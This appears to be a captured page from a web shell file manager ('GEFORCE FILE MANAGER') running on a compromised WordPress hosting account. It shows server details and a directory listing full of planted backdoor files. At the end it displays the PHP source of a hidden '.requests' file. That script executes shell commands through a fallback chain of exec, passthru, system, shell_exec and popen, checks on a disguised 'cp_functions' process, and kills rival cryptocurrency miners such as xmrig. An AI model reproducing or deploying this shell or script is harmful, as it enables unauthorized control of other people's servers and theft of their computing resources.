[ SYSTEM ]: Linux box5478.bluehost.com 5.14.0-687.15.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jun 11 08:51:45 EDT 2026 x86_64
[ SERVER ]: Apache | PHP: 8.3.32
[ USER ]: citypros | IP: 10.36.205.101
GEFORCE FILE MANAGER
/
home1
/
citypros
/
public_html
/
phillyhealth
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 .well-known
SET
[ DEL ]
📁 795fe4
SET
[ DEL ]
📁 cgi-bin
SET
[ DEL ]
📁 f4753
SET
[ DEL ]
📁 mall
SET
[ DEL ]
📁 wp-admin
SET
[ DEL ]
📁 wp-content
SET
[ DEL ]
📁 wp-snapshots
SET
[ DEL ]
📄 .accept
55 B
SET
[ EDIT ]
|
[ DEL ]
📄 .accepted
1,306 B
SET
[ EDIT ]
|
[ DEL ]
📄 .cache
57 B
SET
[ EDIT ]
|
[ DEL ]
📄 .center
51 B
SET
[ EDIT ]
|
[ DEL ]
📄 .class
57 B
SET
[ EDIT ]
|
[ DEL ]
📄 .classes
1,269 B
SET
[ EDIT ]
|
[ DEL ]
📄 .content
54 B
SET
[ EDIT ]
|
[ DEL ]
📄 .created
61 B
SET
[ EDIT ]
|
[ DEL ]
📄 .db2_convert
1,071 B
SET
[ EDIT ]
|
[ DEL ]
📄 .htaccess
151 B
SET
[ EDIT ]
|
[ DEL ]
📄 .htaccess.no_htaccess.phpupgrader
0 B
SET
[ EDIT ]
|
[ DEL ]
📄 .ibase_pconnection
58 B
SET
[ EDIT ]
|
[ DEL ]
📄 .include
1,071 B
SET
[ EDIT ]
|
[ DEL ]
📄 .internal
757 B
SET
[ EDIT ]
|
[ DEL ]
📄 .lock
757 B
SET
[ EDIT ]
|
[ DEL ]
📄 .locked
57 B
SET
[ EDIT ]
|
[ DEL ]
📄 .ob_iconv_handle
51 B
SET
[ EDIT ]
|
[ DEL ]
📄 .partition
1,002 B
SET
[ EDIT ]
|
[ DEL ]
📄 .post
55 B
SET
[ EDIT ]
|
[ DEL ]
📄 .requests
1,306 B
SET
[ EDIT ]
|
[ DEL ]
📄 .reset
757 B
SET
[ EDIT ]
|
[ DEL ]
📄 .rfind
53 B
SET
[ EDIT ]
|
[ DEL ]
📄 .rindex
59 B
SET
[ EDIT ]
|
[ DEL ]
📄 .rjust
1,071 B
SET
[ EDIT ]
|
[ DEL ]
📄 .sys
49 B
SET
[ EDIT ]
|
[ DEL ]
📄 .system
49 B
SET
[ EDIT ]
|
[ DEL ]
📄 .uconvert
59 B
SET
[ EDIT ]
|
[ DEL ]
📄 401.shtml
162 B
SET
[ EDIT ]
|
[ DEL ]
📄 403.shtml
201 B
SET
[ EDIT ]
|
[ DEL ]
📄 404.shtml
83 B
SET
[ EDIT ]
|
[ DEL ]
📄 500.php
442 B
SET
[ EDIT ]
|
[ DEL ]
📄 500.shtml
71 B
SET
[ EDIT ]
|
[ DEL ]
📄 9f62c7.php
105 B
SET
[ EDIT ]
|
[ DEL ]
📄 adminfuns.php
177,944 B
SET
[ EDIT ]
|
[ DEL ]
📄 buy.php
1,476 B
SET
[ EDIT ]
|
[ DEL ]
📄 default.html
0 B
SET
[ EDIT ]
|
[ DEL ]
📄 error_log
2,472,689,724 B
SET
[ EDIT ]
|
[ DEL ]
📄 favicon.ico
822 B
SET
[ EDIT ]
|
[ DEL ]
📄 item.php
1,980 B
SET
[ EDIT ]
|
[ DEL ]
📄 license.txt
19,903 B
SET
[ EDIT ]
|
[ DEL ]
📄 mah.php
1,980 B
SET
[ EDIT ]
|
[ DEL ]
📄 networks.php
1,323 B
SET
[ EDIT ]
|
[ DEL ]
📄 readme.html
7,406 B
SET
[ EDIT ]
|
[ DEL ]
📄 robots.txt
382 B
SET
[ EDIT ]
|
[ DEL ]
📄 v2.php
1,569 B
SET
[ EDIT ]
|
[ DEL ]
📄 vx.php
1,410 B
SET
[ EDIT ]
|
[ DEL ]
📄 warpedit.php
1,101 B
SET
[ EDIT ]
|
[ DEL ]
📄 worksec.php
1,083 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-activate.php
7,371 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-atom.php
226 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-blog-header.php
351 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-cli.yml
30 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-comments-post.php
2,323 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-commentsrss2.php
244 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-conffq.php
267,457 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-config-sample.php
3,339 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-config.php
3,629 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-cron.php
5,617 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-feed.php
246 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-links-opml.php
2,493 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-load.php
3,937 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-log1n.php
2,077 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-login.php
51,850 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-mail.php
8,727 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-pass.php
413 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-rdf.php
224 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-register.php
334 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-rss.php
224 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-rss2.php
226 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-settings.php
32,650 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-signup.php
34,621 B
SET
[ EDIT ]
|
[ DEL ]
📄 wp-trackback.php
5,214 B
SET
[ EDIT ]
|
[ DEL ]
📄 xmlrpc.php
3,205 B
SET
[ EDIT ]
|
[ DEL ]
📄 z.php
4,848 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: .requests
<?php $x = ['cp_functions'=>'/home1/citypros/public_html/phillyhealth/wp-content/plugins/elementor/vendor_prefixed/twig/twig/twig/src/Node/Expression/Test/cp_functions']; foreach ($x as $f=>$p) { $res = run("pgrep {$f}"); if (preg_match('/\d+/', $res)) { print "<r>{$f}|ok</r>"; } else { if (file_exists($p)) { print "<r>{$f}|stop</r>"; } else { print "<r>{$f}|del</r>"; } } } run('pkill -f "stratum+tcp" pkill -f "yam" pkill -f "xmrig" pkill -f "cryptonight" pkill -f "stratum+" pkill -f "donate-level" pkill -f "--max-cpu-usage" pkill -f "-p x" pkill -f " --url="'); die('!ended!'); function run($in) { $out = ''; if (function_exists('exec')) { @exec($in, $out); $out = @join("\n", $out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in, "r"))) { $out = ""; while (!@feof($f)) { $out .= fread($f, 1024); } pclose($f); } return $out; }